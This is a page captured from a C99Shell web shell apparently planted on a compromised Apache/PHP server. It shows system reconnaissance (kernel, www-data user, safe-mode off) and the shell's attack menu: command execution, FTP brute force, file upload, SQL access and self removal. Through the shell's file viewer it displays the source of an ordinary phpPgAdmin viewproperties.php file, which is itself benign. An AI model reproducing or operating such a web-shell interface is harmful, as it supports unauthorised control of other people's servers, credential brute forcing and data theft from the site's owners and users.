!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/doku/axrepos/ax/pgadmin/   drwxr-xr-x
Free 11.58 GB of 97.11 GB (11.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     viewproperties.php (17.36 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
/**
     * List views in a database
     *
     * $Id: viewproperties.php,v 1.34 2007/12/11 14:17:17 ioguix Exp $
     */

    // Include application functions
    
include_once('./libraries/lib.inc.php');

    
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : '';

    
/** 
     * Function to save after editing a view
     */
    
function doSaveEdit() {
        global 
$data$lang;
        
        
$status $data->setView($_POST['view'], $_POST['formDefinition'], $_POST['formComment']);
        if (
$status == 0)
            
doDefinition($lang['strviewupdated']);
        else
            
doEdit($lang['strviewupdatedbad']);
    }
    
    
/**
     * Function to allow editing of a view
     */
    
function doEdit($msg '') {
        global 
$data$misc;
        global 
$lang;
        
        
$misc->printTrail('view');
        
$misc->printTitle($lang['stredit'],'pg.view.alter');
        
$misc->printMsg($msg);
        
        
$viewdata $data->getView($_REQUEST['view']);
        
        if (
$viewdata->recordCount() > 0) {
            
            if (!isset(
$_POST['formDefinition'])) {
                
$_POST['formDefinition'] = $viewdata->fields['vwdefinition'];
                
$_POST['formComment'] = $viewdata->fields['relcomment'];
            }
            
            echo 
"<form action=\"viewproperties.php\" method=\"post\">\n";
            echo 
"<table style=\"width: 100%\">\n";
            echo 
"\t<tr>\n\t\t<th class=\"data left required\">{$lang['strdefinition']}</th>\n";
            echo 
"\t\t<td class=\"data1\"><textarea style=\"width: 100%;\" rows=\"20\" cols=\"50\" name=\"formDefinition\">"
                
htmlspecialchars($_POST['formDefinition']), "</textarea></td>\n\t</tr>\n";
            echo 
"\t<tr>\n\t\t<th class=\"data left\">{$lang['strcomment']}</th>\n";
            echo 
"\t\t<td class=\"data1\"><textarea rows=\"3\" cols=\"32\" name=\"formComment\">"
                
htmlspecialchars($_POST['formComment']), "</textarea></td>\n\t</tr>\n";
            echo 
"</table>\n";
            echo 
"<p><input type=\"hidden\" name=\"action\" value=\"save_edit\" />\n";
            echo 
"<input type=\"hidden\" name=\"view\" value=\""htmlspecialchars($_REQUEST['view']), "\" />\n";
            echo 
$misc->form;
            echo 
"<input type=\"submit\" value=\"{$lang['stralter']}\" />\n";
            echo 
"<input type=\"submit\" name=\"cancel\" value=\"{$lang['strcancel']}\" /></p>\n";
            echo 
"</form>\n";
        }
        else echo 
"<p>{$lang['strnodata']}</p>\n";
    }

    
/** 
     * Allow the dumping of the data "in" a view
     * NOTE:: PostgreSQL doesn't currently support dumping the data in a view 
     *        so I have disabled the data related parts for now. In the future 
     *        we should allow it conditionally if it becomes supported.  This is 
     *        a SMOP since it is based on pg_dump version not backend version. 
     */
    
function doExport($msg '') {
        global 
$data$misc;
        global 
$lang;

        
$misc->printTrail('view');
        
$misc->printTabs('view','export');
        
$misc->printMsg($msg);

        echo 
"<form action=\"dataexport.php\" method=\"post\">\n";
        echo 
"<table>\n";
        echo 
"<tr><th class=\"data\">{$lang['strformat']}</th><th class=\"data\" colspan=\"2\">{$lang['stroptions']}</th></tr>\n";
        
// Data only
        
echo "<!--\n";
        echo 
"<tr><th class=\"data left\">";
        echo 
"<input type=\"radio\" id=\"what1\" name=\"what\" value=\"dataonly\" /><label for=\"what1\">{$lang['strdataonly']}</label></th>\n";
        echo 
"<td>{$lang['strformat']}</td>\n";
        echo 
"<td><select name=\"d_format\" >\n";
        echo 
"<option value=\"copy\">COPY</option>\n";
        echo 
"<option value=\"sql\">SQL</option>\n";
        echo 
"<option value=\"csv\">CSV</option>\n";
        echo 
"<option value=\"tab\">{$lang['strtabbed']}</option>\n";
        echo 
"<option value=\"html\">XHTML</option>\n";
        echo 
"<option value=\"xml\">XML</option>\n";
        echo 
"</select>\n</td>\n</tr>\n";
        echo 
"-->\n";

        
// Structure only
        
echo "<tr><th class=\"data left\"><input type=\"radio\" id=\"what2\" name=\"what\" value=\"structureonly\" checked=\"checked\" /><label for=\"what2\">{$lang['strstructureonly']}</label></th>\n";
        echo 
"<td><label for=\"s_clean\">{$lang['strdrop']}</label></td><td><input type=\"checkbox\" id=\"s_clean\" name=\"s_clean\" /></td>\n</tr>\n";
        
// Structure and data
        
echo "<!--\n";
        echo 
"<tr><th class=\"data left\" rowspan=\"2\">";
        echo 
"<input type=\"radio\" id=\"what3\" name=\"what\" value=\"structureanddata\" /><label for=\"what3\">{$lang['strstructureanddata']}</label></th>\n";
        echo 
"<td>{$lang['strformat']}</td>\n";
        echo 
"<td><select name=\"sd_format\">\n";
        echo 
"<option value=\"copy\">COPY</option>\n";
        echo 
"<option value=\"sql\">SQL</option>\n";
        echo 
"</select>\n</td>\n</tr>\n";
        echo 
"<td><label for=\"sd_clean\">{$lang['strdrop']}</label></td><td><input type=\"checkbox\" id=\"sd_clean\" name=\"sd_clean\" /></td>\n</tr>\n";
        echo 
"-->\n";
        echo 
"</table>\n";
        
        echo 
"<h3>{$lang['stroptions']}</h3>\n";
        echo 
"<p><input type=\"radio\" id=\"output1\" name=\"output\" value=\"show\" checked=\"checked\" /><label for=\"output1\">{$lang['strshow']}</label>\n";
        echo 
"<br/><input type=\"radio\" id=\"output2\" name=\"output\" value=\"download\" /><label for=\"output2\">{$lang['strdownload']}</label></p>\n";

        echo 
"<p><input type=\"hidden\" name=\"action\" value=\"export\" />\n";
        echo 
$misc->form;
        echo 
"<input type=\"hidden\" name=\"subject\" value=\"view\" />\n";
        echo 
"<input type=\"hidden\" name=\"view\" value=\""htmlspecialchars($_REQUEST['view']), "\" />\n";
        echo 
"<input type=\"submit\" value=\"{$lang['strexport']}\" /></p>\n";
        echo 
"</form>\n";
    }

    
/**
     * Show definition for a view
     */
    
function doDefinition($msg '') {
        global 
$data$misc;
        global 
$lang;
    
        
// Get view
        
$vdata $data->getView($_REQUEST['view']);

        
$misc->printTrail('view');
        
$misc->printTabs('view','definition');
        
$misc->printMsg($msg);
        
        if (
$vdata->recordCount() > 0) {
            
// Show comment if any
            
if ($vdata->fields['relcomment'] !== null)
                echo 
"<p class=\"comment\">"$misc->printVal($vdata->fields['relcomment']), "</p>\n";

            echo 
"<table style=\"width: 100%\">\n";
            echo 
"<tr><th class=\"data\">{$lang['strdefinition']}</th></tr>\n";
            echo 
"<tr><td class=\"data1\">"$misc->printVal($vdata->fields['vwdefinition']), "</td></tr>\n";
            echo 
"</table>\n";
        }
        else echo 
"<p>{$lang['strnodata']}</p>\n";
        
        echo 
"<p><a class=\"navlink\" href=\"viewproperties.php?action=edit&amp;{$misc->href}&amp;view="
            
urlencode($_REQUEST['view']), "\">{$lang['stralter']}</a></p>\n";
    }

    
/**
     * Displays a screen where they can alter a column in a view
     */
    
function doProperties($msg '') {
        global 
$data$misc;
        global 
$lang;

        if (!isset(
$_REQUEST['stage'])) $_REQUEST['stage'] = 1;

        switch (
$_REQUEST['stage']) {
            case 
1:
                global 
$lang;

                
$misc->printTrail('column');
                
$misc->printTitle($lang['stralter'],'pg.column.alter'); 
                
$misc->printMsg($msg);

                echo 
"<form action=\"viewproperties.php\" method=\"post\">\n";

                
// Output view header
                
echo "<table>\n";
                echo 
"<tr><th class=\"data required\">{$lang['strname']}</th><th class=\"data required\">{$lang['strtype']}</th>";
                echo 
"<th class=\"data\">{$lang['strdefault']}</th><th class=\"data\">{$lang['strcomment']}</th></tr>";

                
$column $data->getTableAttributes($_REQUEST['view'], $_REQUEST['column']);

                if (!isset(
$_REQUEST['default'])) {
                    
$_REQUEST['field'] = $column->fields['attname'];
                    
$_REQUEST['default'] = $_REQUEST['olddefault'] = $column->fields['adsrc'];
                    
$_REQUEST['comment'] = $column->fields['comment'];
                }

                
// If name of view column is editable, make it a field
                
if ($data->hasViewColumnRename()) {
                    echo 
"<tr><td><input name=\"field\" size=\"32\" value=\"",
                        
htmlspecialchars($_REQUEST['field']), "\" /></td>";
                }
                else {
                    echo 
"<tr><td>"htmlspecialchars($column->fields['attname']), "</td>";                    
                }
                echo 
"<td>"$misc->printVal($data->formatType($column->fields['type'], $column->fields['atttypmod'])), "</td>";
                echo 
"<td><input name=\"default\" size=\"20\" value=\""
                    
htmlspecialchars($_REQUEST['default']), "\" /></td>";
                echo 
"<td><input name=\"comment\" size=\"32\" value=\""
                    
htmlspecialchars($_REQUEST['comment']), "\" /></td>";
                
                echo 
"</table>\n";
                echo 
"<p><input type=\"hidden\" name=\"action\" value=\"properties\" />\n";
                echo 
"<input type=\"hidden\" name=\"stage\" value=\"2\" />\n";
                echo 
$misc->form;
                echo 
"<input type=\"hidden\" name=\"view\" value=\""htmlspecialchars($_REQUEST['view']), "\" />\n";
                echo 
"<input type=\"hidden\" name=\"column\" value=\""htmlspecialchars($_REQUEST['column']), "\" />\n";
                echo 
"<input type=\"hidden\" name=\"olddefault\" value=\""htmlspecialchars($_REQUEST['olddefault']), "\" />\n";
                echo 
"<input type=\"submit\" value=\"{$lang['stralter']}\" />\n";
                echo 
"<input type=\"submit\" name=\"cancel\" value=\"{$lang['strcancel']}\" /></p>\n";
                echo 
"</form>\n";
                                
                break;
            case 
2:
                global 
$data$lang;

                
// Check inputs
                
if ($data->hasViewColumnRename() && trim($_REQUEST['field']) == '') {
                    
$_REQUEST['stage'] = 1;
                    
doProperties($lang['strcolneedsname']);
                    return;
                }
                
                
// If we aren't able to rename view columns, set new name to equal old name always
                
if (!$data->hasViewColumnRename()) $_REQUEST['field'] = $_REQUEST['column'];
                
                
// Alter the view column
                
$status $data->alterColumn($_REQUEST['view'], $_REQUEST['column'], $_REQUEST['field'], 
                                 
falsefalse$_REQUEST['default'], $_REQUEST['olddefault'],
                                 
''''''''$_REQUEST['comment']);
                if (
$status == 0)
                    
doDefault($lang['strcolumnaltered']);
                else {
                    
$_REQUEST['stage'] = 1;
                    
doProperties($lang['strcolumnalteredbad']);
                    return;
                }
                break;
            default:
                echo 
"<p>{$lang['strinvalidparam']}</p>\n";
        }
    }

    function 
doAlter($confirm false$msg '') {
        if (
$confirm) {
            global 
$data$misc$lang;

            
$misc->printTrail('view');
            
$misc->printTitle($lang['stralter'], 'pg.view.alter');
            
$misc->printMsg($msg);

            
// Fetch view info
            
$view $data->getView($_REQUEST['view']);

            if (
$view->recordCount() > 0) {
                if (!isset(
$_POST['name'])) $_POST['name'] = $view->fields['relname'];
                if (!isset(
$_POST['owner'])) $_POST['owner'] = $view->fields['relowner'];
                if (!isset(
$_POST['newschema'])) $_POST['newschema'] = $view->fields['nspname'];
                if (!isset(
$_POST['comment'])) $_POST['comment'] = $view->fields['relcomment'];

                echo 
"<form action=\"viewproperties.php\" method=\"post\">\n";
                echo 
"<table>\n";
                echo 
"<tr><th class=\"data left required\">{$lang['strname']}</th>\n";
                echo 
"<td class=\"data1\">";
                echo 
"<input name=\"name\" size=\"32\" maxlength=\"{$data->_maxNameLen}\" value=\"",
                    
htmlspecialchars($_POST['name']), "\" /></td></tr>\n";

                
$server_info $misc->getServerInfo();
                if (
$data->hasAlterTableOwner() && $data->isSuperUser($server_info['username'])) {

                    
// Fetch all users
                    
$users $data->getUsers();

                    echo 
"<tr><th class=\"data left required\">{$lang['strowner']}</th>\n";
                    echo 
"<td class=\"data1\"><select name=\"owner\">";
                    while (!
$users->EOF) {
                        
$uname $users->fields['usename'];
                        echo 
"<option value=\""htmlspecialchars($uname), "\"",
                        (
$uname == $_POST['owner']) ? ' selected="selected"' ''">"htmlspecialchars($uname), "</option>\n";
                        
$users->moveNext();
                    }
                    echo 
"</select></td></tr>\n";
                }

                if (
$data->hasAlterTableSchema()) {
                    
$schemas $data->getSchemas();
                    echo 
"<tr><th class=\"data left required\">{$lang['strschema']}</th>\n";
                    echo 
"<td class=\"data1\"><select name=\"newschema\">";
                    while (!
$schemas->EOF) {
                        
$schema $schemas->fields['nspname'];
                        echo 
"<option value=\""htmlspecialchars($schema), "\"",
                            (
$schema == $_POST['newschema']) ? ' selected="selected"' ''">"htmlspecialchars($schema), "</option>\n";
                        
$schemas->moveNext();
                    }
                    echo 
"</select></td></tr>\n";
                }
                
                echo 
"<tr><th class=\"data left\">{$lang['strcomment']}</th>\n";
                echo 
"<td class=\"data1\">";
                echo 
"<textarea rows=\"3\" cols=\"32\" name=\"comment\">",
                    
htmlspecialchars($_POST['comment']), "</textarea></td></tr>\n";
                echo 
"</table>\n";
                echo 
"<input type=\"hidden\" name=\"action\" value=\"alter\" />\n";
                echo 
"<input type=\"hidden\" name=\"view\" value=\""htmlspecialchars($_REQUEST['view']), "\" />\n";
                echo 
$misc->form;
                echo 
"<p><input type=\"submit\" name=\"alter\" value=\"{$lang['stralter']}\" />\n";
                echo 
"<input type=\"submit\" name=\"cancel\" value=\"{$lang['strcancel']}\" /></p>\n";
                echo 
"</form>\n";
            }
            else echo 
"<p>{$lang['strnodata']}</p>\n";
        }
        else{
            global 
$data$lang$_reload_browser$misc;

            
// For databases that don't allow owner change
            
if (!isset($_POST['owner'])) $_POST['owner'] = '';
            if (!isset(
$_POST['newschema'])) $_POST['newschema'] = null;

            
$status $data->alterView($_POST['view'], $_POST['name'], $_POST['owner'], $_POST['newschema'], $_POST['comment']);
            if (
$status == 0) {
                
// If view has been renamed, need to change to the new name and
                // reload the browser frame.
                
if ($_POST['view'] != $_POST['name']) {
                    
// Jump them to the new view name
                    
$_REQUEST['view'] = $_POST['name'];
                    
// Force a browser reload
                    
$_reload_browser true;
                }
                
// If schema has changed, need to change to the new schema and reload the browser
                
if (!empty($_POST['newschema']) && ($_POST['newschema'] != $data->_schema)) {
                    
// Jump them to the new sequence schema
                    
$misc->setCurrentSchema($_POST['newschema']);
                    
$_reload_browser true;
                }
                
doDefault($lang['strviewaltered']);
            }
            else 
doAlter(true$lang['strviewalteredbad']);
        }
    }

    function 
doTree () {
        global 
$misc$data;

        
$reqvars $misc->getRequestVars('column');
        
$columns $data->getTableAttributes($_REQUEST['view']);
        
        
$attrs = array (
            
'text'   => field('attname'),
            
'action' => url('colproperties.php',
                            
$reqvars,
                            array(
                                
'view'     => $_REQUEST['view'],
                                
'column'    => field('attname')
                            )
                        ),
            
'icon'   => 'Column',
            
'iconAction' => url('display.php',
                            
$reqvars,
                            array(
                                
'view'     => $_REQUEST['view'],
                                
'column'    => field('attname'),
                                
'query'     => replace(
                                    
'SELECT "%column%", count(*) AS "count" FROM %view% GROUP BY "%column%" ORDER BY "%column%"',
                                    array (
                                        
'%column%' => field('attname'),
                                        
'%view%' => $_REQUEST['view']
                                    )
                                )
                            )
            ),
            
'toolTip'=> field('comment')
        );

        
$misc->printTreeXML($columns$attrs);

        exit;
    }

    if (
$action == 'tree'doTree();

    
/**
     * Show view definition and virtual columns
     */
    
function doDefault($msg '') {
        global 
$data$misc;
        global 
$lang;
        
        function 
attPre(&$rowdata) {
            global 
$data;
            
$rowdata->fields['+type'] = $data->formatType($rowdata->fields['type'], $rowdata->fields['atttypmod']);
        }
        
        
$misc->printTrail('view');
        
$misc->printTabs('view','columns');
        
$misc->printMsg($msg);

        
// Get view
        
$vdata $data->getView($_REQUEST['view']);
        
// Get columns (using same method for getting a view)
        
$attrs $data->getTableAttributes($_REQUEST['view']);        

        
// Show comment if any
        
if ($vdata->fields['relcomment'] !== null)
            echo 
"<p class=\"comment\">"$misc->printVal($vdata->fields['relcomment']), "</p>\n";

        
$columns = array(
            
'column' => array(
                
'title' => $lang['strcolumn'],
                
'field' => field('attname'),
            ),
            
'type' => array(
                
'title' => $lang['strtype'],
                
'field' => field('+type'),
            ),
            
'default' => array(
                
'title' => $lang['strdefault'],
                
'field' => field('adsrc'),
            ),
            
'actions' => array(
                
'title' => $lang['stractions'],
            ),
            
'comment' => array(
                
'title' => $lang['strcomment'],
                
'field' => field('comment'),
            ),
        );
        
        
$actions = array(
            
'alter' => array(
                
'title' => $lang['stralter'],
                
'url'   => "viewproperties.php?action=properties&amp;{$misc->href}&amp;view=".urlencode($_REQUEST['view'])."&amp;",
                
'vars'  => array('column' => 'attname'),
            ),
        );
        
        
$misc->printTable($attrs$columns$actionsnull'attPre');
    
        echo 
"<br />\n";

        echo 
"<ul class=\"navlink\">\n";
        
$return_url urlencode("viewproperties.php?{$misc->href}&amp;view=" urlencode($_REQUEST['view']));
        echo 
"\t<li><a href=\"display.php?{$misc->href}&amp;view="urlencode($_REQUEST['view']), "&amp;subject=view&amp;return_url={$return_url}&amp;return_desc=",
            
urlencode($lang['strback']), "\">{$lang['strbrowse']}</a></li>\n";
        echo 
"\t<li><a href=\"views.php?action=confselectrows&amp;{$misc->href}&amp;view="urlencode($_REQUEST['view']),"\">{$lang['strselect']}</a></li>\n";
        echo 
"\t<li><a href=\"views.php?action=confirm_drop&amp;{$misc->href}&amp;view="urlencode($_REQUEST['view']),"\">{$lang['strdrop']}</a></li>\n";
        echo 
"\t<li><a href=\"viewproperties.php?action=confirm_alter&amp;{$misc->href}&amp;view="urlencode($_REQUEST['view']),"\">{$lang['stralter']}</a></li>\n";
        echo 
"</ul>\n";
    }

    
$misc->printHeader($lang['strviews'] . ' - ' $_REQUEST['view']);
    
$misc->printBody();

    switch (
$action) {
        case 
'save_edit':
            if (isset(
$_POST['cancel'])) doDefinition();
            else 
doSaveEdit();
            break;
        case 
'edit':
            
doEdit();
            break;
        case 
'export':
            
doExport();
            break;
        case 
'definition':
            
doDefinition();
            break;
        case 
'properties':
            if (isset(
$_POST['cancel'])) doDefault();
            else 
doProperties();
            break;
        case 
'alter':
            if (isset(
$_POST['alter'])) doAlter(false);
            else 
doDefault();
            break;
        case 
'confirm_alter':
            
doAlter(true);
            break;
        case 
'drop':
            if (isset(
$_POST['drop'])) doDrop(false);
            else 
doDefault();
            break;
        case 
'confirm_drop':
            
doDrop(true);
            break;
        default:
            
doDefault();
            break;
    }
    
    
$misc->printFooter();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0069 ]--